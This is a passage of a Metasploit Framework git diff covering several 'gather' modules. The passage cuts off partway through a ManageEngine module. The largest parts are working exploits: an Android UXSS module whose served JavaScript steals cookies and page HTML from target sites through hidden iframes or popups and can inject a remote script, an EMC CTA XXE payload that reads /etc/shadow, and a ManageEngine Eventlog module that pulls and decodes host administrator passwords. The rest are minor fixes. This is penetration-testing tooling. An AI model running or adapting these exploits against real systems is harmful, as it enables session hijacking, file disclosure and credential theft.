OptString.new('CUSTOM_JS', [ + false, + "A string of javascript to execute in the context of the target URLs.", + '' + ]), + OptString.new('REMOTE_JS', [ + false, + "A URL to inject into a script tag in the context of the target URLs.", + '' + ]), + OptBool.new('BYPASS_XFO', [ + false, + "Bypass URLs that have X-Frame-Options by using a one-click popup exploit.", + false + ]), + OptBool.new('CLOSE_POPUP', [ + false, + "When BYPASS_XFO is enabled, this closes the popup window after exfiltration.", + true + ]) + ], self.class) + end + + def on_request_uri(cli, request) + print_status("Request '#{request.method} #{request.uri}'") + + if request.method.downcase == 'post' + collect_data(request) + send_response_html(cli, '') + else + payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8)) + domains = datastore['TARGET_URLS'].split(',') + + html = <<-EOS + <html> + <body> + <script> + var targets = JSON.parse(atob("#{Rex::Text.encode_base64(JSON.generate(domains))}")); + var bypassXFO = #{datastore['BYPASS_XFO']}; + var received = []; + + window.addEventListener('message', function(e) { + var data = JSON.parse(e.data); + if (!data.send) { + if (bypassXFO && data.i && received[data.i]) return; + if (bypassXFO && e.data) received.push(true); + } + var x = new XMLHttpRequest; + x.open('POST', window.location, true); + x.send(e.data); + }, false); + + function randomString() { + var str = ''; + for (var i = 0; i < 5+Math.random()*15; i++) { + str += String.fromCharCode('A'.charCodeAt(0) + parseInt(Math.random()*26)) + } + return str; + } + + function installFrame(target) { + var f = document.createElement('iframe'); + var n = randomString(); + f.setAttribute('name', n); + f.setAttribute('src', target); + f.setAttribute('style', 'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px'); + f.onload = function(){ + attack(target, n); + }; + document.body.appendChild(f); + } + + function attack(target, n, i, cachedN) { + var exploit = function(){ + window.open('\\u0000javascript:if(document&&document.body){(opener||top).postMessage('+ + 'JSON.stringify({cookie:document.cookie,url:location.href,body:document.body.innerH'+ + 'TML,i:'+(i||0)+'}),"*");eval(atob("#{Rex::Text.encode_base64(custom_js)}"'+ + '));}void(0);', n); + } + if (!n) { + n = cachedN || randomString(); + var closePopup = #{datastore['CLOSE_POPUP']}; + var w = window.open(target, n); + var deadman = setTimeout(function(){ + clearInterval(clear); + clearInterval(clear2); + attack(targets[i], null, i, n); + }, 10000); + var clear = setInterval(function(){ + if (received[i]) { + if (i < targets.length-1) { + try{ w.stop(); }catch(e){} + try{ w.location='data:text/html,<p>Loading...</p>'; }catch(e){} + } + + clearInterval(clear); + clearInterval(clear2); + clearTimeout(deadman); + + if (i < targets.length-1) { + setTimeout(function(){ attack(targets[i+1], null, i+1, n); },100); + } else { + if (closePopup) w.close(); + } + } + }, 50); + var clear2 = setInterval(function(){ + try { + if (w.location.toString()) return; + if (w.document) return; + } catch(e) {} + clearInterval(clear2); + clear2 = setInterval(exploit, 50); + },20); + } else { + exploit(); + } + } + + var clickedOnce = false; + function onclickHandler() { + if (clickedOnce) return false; + clickedOnce = true; + attack(targets[0], null, 0); + return false; + } + + window.onload = function(){ + if (bypassXFO) { + document.querySelector('#click').style.display='block'; + window.onclick = onclickHandler; + } else { + for (var i = 0; i < targets.length; i++) { + installFrame(targets[i]); + } + } + } + </script> + <div style='text-align:center;margin:20px 0;font-size:22px;display:none' + id='click' onclick='onclickHandler()'> + The page has moved. <a href='#'>Click here to be redirected.</a> + </div> + </body> + </html> + EOS + + print_status("Sending initial HTML ...") + send_response_html(cli, html) + end + end + + def collect_data(request) + response = JSON.parse(request.body) + url = response['url'] + if response && url + file = store_loot("android.client", "text/plain", cli.peerhost, request.body, "aosp_uxss_#{url}", "Data pilfered from uxss") + print_good "Collected data from URL: #{url}" + print_good "Saved to: #{file}" + end + end + + def backend_url + proto = (datastore["SSL"] ? "https" : "http") + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch" + end + + def custom_js + rjs_hook + datastore['CUSTOM_JS'] + end + + def rjs_hook + remote_js = datastore['REMOTE_JS'] + if remote_js.present? + "var s = document.createElement('script');s.setAttribute('src', '#{remote_js}');document.body.appendChild(s); " + else + '' + end + end + + def run + exploit + end + +end diff --git a/modules/auxiliary/gather/apache_rave_creds.rb b/modules/auxiliary/gather/apache_rave_creds.rb index d9eeaf457c..a5111b9875 100644 --- a/modules/auxiliary/gather/apache_rave_creds.rb +++ b/modules/auxiliary/gather/apache_rave_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary } }) - if res and res.code == 302 and res.headers['Location'] !~ /authfail/ and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ + if res and res.code == 302 and res.headers['Location'] !~ /authfail/ and res.get_cookies =~ /JSESSIONID=(.*);/ return $1 else return nil diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index 5c9ade2e21..dd07d0eeed 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -47,9 +47,9 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.webarchive']), - OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http//browserscan.rapid7.com/']), + OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http://rapid7.com http://example.com']), OptString.new('URIPATH', [false, 'The URI to receive the UXSS\'ed data', '/grab']), - OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarhive.', '/msf.webarchive']), + OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive.', '/msf.webarchive']), OptString.new('URLS', [ true, 'The URLs to steal cookie and form data from.', '']), OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal.', '']), OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing.", true]), @@ -768,8 +768,11 @@ class Metasploit3 < Msf::Auxiliary if script_uri.relative? url = page_uri + url end + if url.to_s.starts_with? '//' + url = "#{page_uri.scheme}:#{url}" + end io = open(url) - rescue URI::InvalidURIError => e + rescue URI::InvalidURIError, OpenURI::HTTPError next end diff --git a/modules/auxiliary/gather/checkpoint_hostname.rb b/modules/auxiliary/gather/checkpoint_hostname.rb index 24fbdbea37..b185233021 100644 --- a/modules/auxiliary/gather/checkpoint_hostname.rb +++ b/modules/auxiliary/gather/checkpoint_hostname.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/chromecast_wifi.rb b/modules/auxiliary/gather/chromecast_wifi.rb new file mode 100644 index 0000000000..5b0c218f6d --- /dev/null +++ b/modules/auxiliary/gather/chromecast_wifi.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Chromecast Wifi Enumeration', + 'Description' => %q{ + This module enumerates wireless access points through Chromecast. + }, + 'Author' => ['wvu'], + 'References' => [ + ['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website + ], + 'License' => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(8008) + ], self.class) + end + + def run + res = scan + + return unless res && res.code == 200 + + waps = Rex::Ui::Text::Table.new( + 'Header' => 'Wireless Access Points', + 'Columns' => [ + 'BSSID', + 'PWR', + 'ENC', + 'CIPHER', + 'AUTH', + 'ESSID' + ], + 'SortIndex' => -1 + ) + + JSON.parse(res.body).each do |wap| + waps << [ + wap['bssid'], + wap['signal_level'], + enc(wap), + cipher(wap), + auth(wap), + wap['ssid'] + (wap['wpa_id'] ? ' (*)' : '') + ] + end + + print_line(waps.to_s) + + report_note( + :host => rhost, + :port => rport, + :proto => 'tcp', + :type => 'chromecast.wifi', + :data => waps.to_csv + ) + end + + def scan + begin + send_request_raw( + 'method' => 'POST', + 'uri' => '/setup/scan_wifi', + 'agent' => Rex::Text.rand_text_english(rand(42) + 1) + ) + send_request_raw( + 'method' => 'GET', + 'uri' => '/setup/scan_results', + 'agent' => Rex::Text.rand_text_english(rand(42) + 1) + ) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable => e + fail_with(Failure::Unreachable, e) + ensure + disconnect + end + end + + def enc(wap) + case wap['wpa_auth'] + when 1 + 'OPN' + when 2 + 'WEP' + when 5 + 'WPA' + when 0, 7 + 'WPA2' + else + wap['wpa_auth'] + end + end + + def cipher(wap) + case wap['wpa_cipher'] + when 1 + '' + when 2 + 'WEP' + when 3 + 'TKIP' + when 4 + 'CCMP' + else + wap['wpa_cipher'] + end + end + + def auth(wap) + case wap['wpa_auth'] + when 0 + 'MGT' + when 5, 7 + 'PSK' + else + '' + end + end + +end diff --git a/modules/auxiliary/gather/citrix_published_applications.rb b/modules/auxiliary/gather/citrix_published_applications.rb index b71e3eacc3..ade049c58b 100644 --- a/modules/auxiliary/gather/citrix_published_applications.rb +++ b/modules/auxiliary/gather/citrix_published_applications.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/citrix_published_bruteforce.rb b/modules/auxiliary/gather/citrix_published_bruteforce.rb index 8953abfb52..05aa9509f3 100644 --- a/modules/auxiliary/gather/citrix_published_bruteforce.rb +++ b/modules/auxiliary/gather/citrix_published_bruteforce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb index f08e3f9ed9..fd0af131bb 100644 --- a/modules/auxiliary/gather/coldfusion_pwd_props.rb +++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/corpwatch_lookup_id.rb b/modules/auxiliary/gather/corpwatch_lookup_id.rb index 7fc50a9bf7..e6ca939df3 100644 --- a/modules/auxiliary/gather/corpwatch_lookup_id.rb +++ b/modules/auxiliary/gather/corpwatch_lookup_id.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('CW_ID', [ true, "The CorpWatch ID of the company", ""]), - OptInt.new('YEAR', [ false, "Year to look up"]), + OptInt.new('YEAR', [ false, "Year to look up", Time.now.year-1]), OptBool.new('GET_LOCATIONS', [ false, "Get locations for company", true]), OptBool.new('GET_NAMES', [ false, "Get all registered names ofr the company", true]), OptBool.new('GET_FILINGS', [ false, "Get all filings", false ]), @@ -40,19 +40,15 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST', 'RPORT', 'VHOST', 'Proxies') end - def cleanup - datastore['RHOST'] = @old_rhost - datastore['RPORT'] = @old_rport + def rhost_corpwatch + 'api.corpwatch.org' + end + + def rport_corpwatch + 80 end def run - # Save the original rhost/rport in case the user was exploiting something else - @old_rhost = datastore['RHOST'] - @old_rport = datastore['RPORT'] - - # Initial api.corpwatch.org's rhost and rport for HttpClient - datastore['RHOST'] = 'api.corpwatch.org' - datastore['RPORT'] = 80 loot = "" uri = "/" @@ -60,6 +56,8 @@ class Metasploit3 < Msf::Auxiliary uri << ("/companies/" + datastore['CW_ID']) res = send_request_cgi({ + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, 'uri' => uri + ".xml", 'method' => 'GET' }, 25) @@ -85,7 +83,7 @@ class Metasploit3 < Msf::Auxiliary elements = root.get_elements("result") - if elements == nil || elements.length == 0 + if elements.blank? || elements.length == 0 print_error("No results returned") return end @@ -157,6 +155,8 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi( { + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, 'uri' => uri + "/locations.xml", 'method' => 'GET' }, 25) @@ -227,6 +227,8 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi( { + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, 'uri' => uri + "/names.xml", 'method' => 'GET' }, 25) @@ -287,6 +289,8 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi( { + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, 'uri' => uri + "/filings.xml", 'method' => 'GET' }, 25) @@ -365,6 +369,8 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi( { + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, 'uri' => child_uri, 'method' => 'GET' }, 25) @@ -444,6 +450,8 @@ class Metasploit3 < Msf::Auxiliary if datastore['GET_HISTORY'] res = send_request_cgi({ + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, 'uri' => uri + "/history.xml", 'method' => 'GET' }, 25) diff --git a/modules/auxiliary/gather/corpwatch_lookup_name.rb b/modules/auxiliary/gather/corpwatch_lookup_name.rb index fd678b318b..cf83fbecc9 100644 --- a/modules/auxiliary/gather/corpwatch_lookup_name.rb +++ b/modules/auxiliary/gather/corpwatch_lookup_name.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('COMPANY_NAME', [ true, "Search for companies with this name", ""]), - OptInt.new('YEAR', [ false, "Limit results to a specific year"]), + OptInt.new('YEAR', [ false, "Year to look up", Time.now.year-1]), OptString.new('LIMIT', [ true, "Limit the number of results returned", "5"]), OptString.new('CORPWATCH_APIKEY', [ false, "Use this API key when getting the data", ""]), ], self.class) @@ -39,19 +39,15 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST', 'RPORT', 'Proxies', 'VHOST') end - def cleanup - datastore['RHOST'] = @old_rhost - datastore['RPORT'] = @old_rport + def rhost_corpwatch + 'api.corpwatch.org' + end + + def rport_corpwatch + 80 end def run - # Save the original rhost/rport in case the user was exploiting something else - @old_rhost = datastore['RHOST'] - @old_rport = datastore['RPORT'] - - # Initial api.corpwatch.org's rhost and rport for HttpClient - datastore['RHOST'] = 'api.corpwatch.org' - datastore['RPORT'] = 80 uri = "/" uri << (datastore['YEAR'].to_s + "/") if datastore['YEAR'].to_s != "" @@ -59,6 +55,8 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi( { + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, 'uri' => uri, 'method' => 'GET', 'vars_get' => @@ -104,7 +102,7 @@ class Metasploit3 < Msf::Auxiliary elements = results.get_elements("companies") - if not elements + if elements.blank? print_error("No companies returned") return end diff --git a/modules/auxiliary/gather/d20pass.rb b/modules/auxiliary/gather/d20pass.rb index af89d50b9f..9ed0034a31 100644 --- a/modules/auxiliary/gather/d20pass.rb +++ b/modules/auxiliary/gather/d20pass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,6 +28,10 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ], 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2012-6663'], + ], 'DisclosureDate' => 'Jan 19 2012' )) diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb index cdf4003d09..c87615aa62 100644 --- a/modules/auxiliary/gather/dns_bruteforce.rb +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/dns_cache_scraper.rb b/modules/auxiliary/gather/dns_cache_scraper.rb index bc3294ce3a..d309a10617 100644 --- a/modules/auxiliary/gather/dns_cache_scraper.rb +++ b/modules/auxiliary/gather/dns_cache_scraper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index 565b318658..0834c5c16e 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb index dc0b0167d2..4726b53de9 100644 --- a/modules/auxiliary/gather/dns_reverse_lookup.rb +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,26 +12,32 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Reverse Lookup Enumeration', - 'Description' => %q{ + 'Name' => 'DNS Reverse Lookup Enumeration', + 'Description' => %q{ This module performs DNS reverse lookup against a given IP range in order to retrieve valid addresses and names. }, - 'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>' ], - 'License' => BSD_LICENSE + 'Author' => + [ + 'Carlos Perez <carlos_perez[at]darkoperator.com>', # Base code + 'Thanat0s <thanspam[at]trollprod.org>' # Output, Throttling & Db notes add + ], + 'License' => BSD_LICENSE )) register_options( [ OptAddressRange.new('RANGE', [true, 'IP range to perform reverse lookup against.']), - OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS." ]) + OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS." ]), + OptString.new('OUT_FILE', [ false, "Specify a CSV output file" ]) ], self.class) register_advanced_options( [ OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]), OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]), - OptInt.new('THREADS', [ true, "The number of concurrent threads.", 1]) + OptInt.new('THREADS', [ true, "The number of concurrent threads.", 1]), + OptInt.new('THROTTLE', [ false, "Specify the resolution throttle in query per sec. 0 means unthrottled",0 ]) ], self.class) end @@ -55,20 +61,51 @@ class Metasploit3 < Msf::Auxiliary print_status("Running reverse lookup against IP range #{iprange}") ar = Rex::Socket::RangeWalker.new(iprange) tl = [] + # Basic Throttling + sleep_time = 0.0 + if (datastore['THROTTLE'] != 0) + sleep_time = (1.0/datastore['THROTTLE'])*datastore['THREADS'] + print_status("Throttle set to #{datastore['THROTTLE']} queries per seconds") + end + # Output.. + if datastore['OUT_FILE'] + print_status("Scan result saved in #{datastore['OUT_FILE']}") + open(datastore['OUT_FILE'], 'w') do |f| + f.puts "; IP, Host" + end + end while (true) # Spawn threads for each host + hosts = Hash.new while (tl.length <= @threadnum) ip = ar.next_ip break if not ip tl << framework.threads.spawn("Module(#{self.refname})-#{ip}", false, ip.dup) do |tip| begin + Rex.sleep(sleep_time) query = @res.query(tip) query.each_ptr do |addresstp| print_status("Host Name: #{addresstp}, IP Address: #{tip.to_s}") + if datastore['OUT_FILE'] + open(datastore['OUT_FILE'], 'a') do |f| + f.puts "#{tip.to_s},#{addresstp}" + end + end report_host( :host => tip.to_s, :name => addresstp ) + if !hosts[tip] + hosts[tip] = Array.new + end + hosts[tip].push addresstp + end + unless hosts[tip].nil? or hosts[tip].empty? + report_note( + :host => tip.to_s, + :type => "RDNS_Record", + :data => hosts[tip] + ) end rescue ::Interrupt raise $! diff --git a/modules/auxiliary/gather/dns_srv_enum.rb b/modules/auxiliary/gather/dns_srv_enum.rb index eb43898516..1b35c6d047 100644 --- a/modules/auxiliary/gather/dns_srv_enum.rb +++ b/modules/auxiliary/gather/dns_srv_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/doliwamp_traversal_creds.rb b/modules/auxiliary/gather/doliwamp_traversal_creds.rb index f53eef3a90..d53b0c7ad2 100644 --- a/modules/auxiliary/gather/doliwamp_traversal_creds.rb +++ b/modules/auxiliary/gather/doliwamp_traversal_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -26,8 +26,8 @@ class Metasploit3 < Msf::Auxiliary 'Author' => 'Brendan Coles <bcoles[at]gmail.com>', 'References' => [ - ['URL' => 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'], - ['URL' => 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb'] + ['URL', 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'], + ['URL', 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb'] ], 'DisclosureDate' => 'Jan 12 2014')) register_options( @@ -128,7 +128,7 @@ class Metasploit3 < Msf::Auxiliary }) if !res print_error("#{peer} - Connection failed") - elsif res.code == 200 and res.headers["set-cookie"] =~ /DOLSESSID_([a-f0-9]{32})=/ + elsif res.code == 200 and res.get_cookies =~ /DOLSESSID_([a-f0-9]{32})=/ return "DOLSESSID_#{$1}=#{token}" else print_warning("#{peer} - Could not create session cookie") diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index 0f69e2fca2..a7cae618a0 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/eaton_nsm_creds.rb b/modules/auxiliary/gather/eaton_nsm_creds.rb index 81c99243b9..b699d58ddf 100644 --- a/modules/auxiliary/gather/eaton_nsm_creds.rb +++ b/modules/auxiliary/gather/eaton_nsm_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,12 +12,14 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Network Shutdown Module <= 3.21 (sort_values) Credential Dumper', + 'Name' => 'Network Shutdown Module sort_values Credential Dumper', 'Description' => %q{ - This module will extract user credentials from Network Shutdown Module by exploiting - a vulnerability found in lib/dbtools.inc, which uses unsanitized user input inside a - eval() call. Please note that in order to extract credentials,the vulnerable service - must have at least one USV module (an entry in the "nodes" table in mgedb.db) + This module will extract user credentials from Network Shutdown Module + versions 3.21 and earlier by exploiting a vulnerability found in + lib/dbtools.inc, which uses unsanitized user input inside a eval() call. + Please note that in order to extract credentials,the vulnerable service + must have at least one USV module (an entry in the "nodes" table in + mgedb.db). }, 'References' => [ diff --git a/modules/auxiliary/gather/emc_cta_xxe.rb b/modules/auxiliary/gather/emc_cta_xxe.rb new file mode 100644 index 0000000000..b4cf130c2a --- /dev/null +++ b/modules/auxiliary/gather/emc_cta_xxe.rb @@ -0,0 +1,82 @@ +# This module requires Metasploit: http://metasploit.com/download +## +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'EMC CTA v10.0 Unauthenticated XXE Arbitrary File Read', + 'Description' => %q{ + EMC CTA v10.0 is susceptible to an unauthenticated XXE attack + that allows an attacker to read arbitrary files from the file system + with the permissions of the root user. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brandon Perry <bperry.volatile[at]gmail.com>', #metasploit module + ], + 'References' => + [ + ['EDB', '32623'] + ], + 'DisclosureDate' => 'Mar 31 2014' + )) + + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('SSLVersion', [true, 'SSL version', 'TLS1']), + OptString.new('TARGETURI', [ true, "Base directory path", '/']), + OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]), + ], self.class) + end + + def run + + doctype = Rex::Text.rand_text_alpha(6) + element = Rex::Text.rand_text_alpha(6) + entity = Rex::Text.rand_text_alpha(6) + + pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?> +<!DOCTYPE #{doctype} [ +<!ELEMENT #{element} ANY > +<!ENTITY #{entity} SYSTEM "file://#{datastore['FILEPATH']}" >]> +<Request> +<Username>root</Username> +<Password>&#{entity};</Password> +</Request> + } + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'api', 'login'), + 'method' => 'POST', + 'data' => pay + }) + + if !res or !res.body + fail_with("Server did not respond in an expected way") + end + + file = /For input string: "(.*)"/m.match(res.body) + + if !file or file.length < 2 + fail_with("File was unretrievable. Was it a binary file?") + end + + file = file[1] + + path = store_loot('emc.file', 'text/plain', datastore['RHOST'], file, datastore['FILEPATH']) + + print_good("File saved to: " + path) + end +end + diff --git a/modules/auxiliary/gather/enum_dns.rb b/modules/auxiliary/gather/enum_dns.rb index 6bad990d9c..e25260e9a4 100644 --- a/modules/auxiliary/gather/enum_dns.rb +++ b/modules/auxiliary/gather/enum_dns.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/eventlog_cred_disclosure.rb b/modules/auxiliary/gather/eventlog_cred_disclosure.rb new file mode 100644 index 0000000000..fcb6abd3b4 --- /dev/null +++ b/modules/auxiliary/gather/eventlog_cred_disclosure.rb @@ -0,0 +1,222 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure', + 'Description' => %q{ + ManageEngine Eventlog Analyzer from v7 to v9.9 b9002 has two security vulnerabilities that + allow an unauthenticated user to obtain the superuser password of any managed Windows and + AS/400 hosts. This module abuses both vulnerabilities to collect all the available + usernames and passwords. First the agentHandler servlet is abused to get the hostid and + slid of each device (CVE-2014-6038); then these numeric IDs are used to extract usernames + and passwords by abusing the hostdetails servlet (CVE-2014-6039). Note that on version 7, + the TARGETURI has to be prepended with /event. + }, + 'Author' => + [ + 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-6038' ], + [ 'CVE', '2014-6039' ], + [ 'OSVDB', '114342' ], + [ 'OSVDB', '114344' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_eventlog_info_disc.txt' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Nov/12' ] + ], + 'DisclosureDate' => 'Nov 5 2014')) + + register_options( + [ + Opt::RPORT(8400), + OptString.new('TARGETURI', [ true, 'Eventlog Analyzer application URI (should be /event for version 7)', '/']), + ], self.class) + end + + + def decode_password(encoded_password) + password_xor = Rex::Text.decode_base64(encoded_password) + password = '' + password_xor.bytes.each do |byte| + password << (byte ^ 0x30) + end + return password + end + + + def run + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'agentHandler'), + 'method' =>'GET', + 'vars_get' => { + 'mode' => 'getTableData', + 'table' => 'HostDetails' + } + }) + + unless res && res.code == 200 + fail_with(Failure::NotFound, "#{peer} - Failed to reach agentHandler servlet") + return + end + + # When passwords have digits the XML parsing will fail. + # Replace with an empty password attribute so that we know the device has a password + # and therefore we want to add it to our host list. + xml = res.body.to_s.gsub(/&#[0-9]*;/,Rex::Text.rand_text_alpha(6)) + begin + doc = REXML::Document.new(xml) + rescue + fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{xml}") + end + + slid_host_ary = [] + doc.elements.each('Details/HostDetails') do |ele| + if ele.attributes['password'] + # If an element doesn't have a password, then we don't care about it. + # Otherwise store the slid and host_id to use later. + slid_host_ary << [ele.attributes['slid'], ele.attributes['host_id']] + end + end + + cred_table = Rex::Ui::Text::Table.new( + 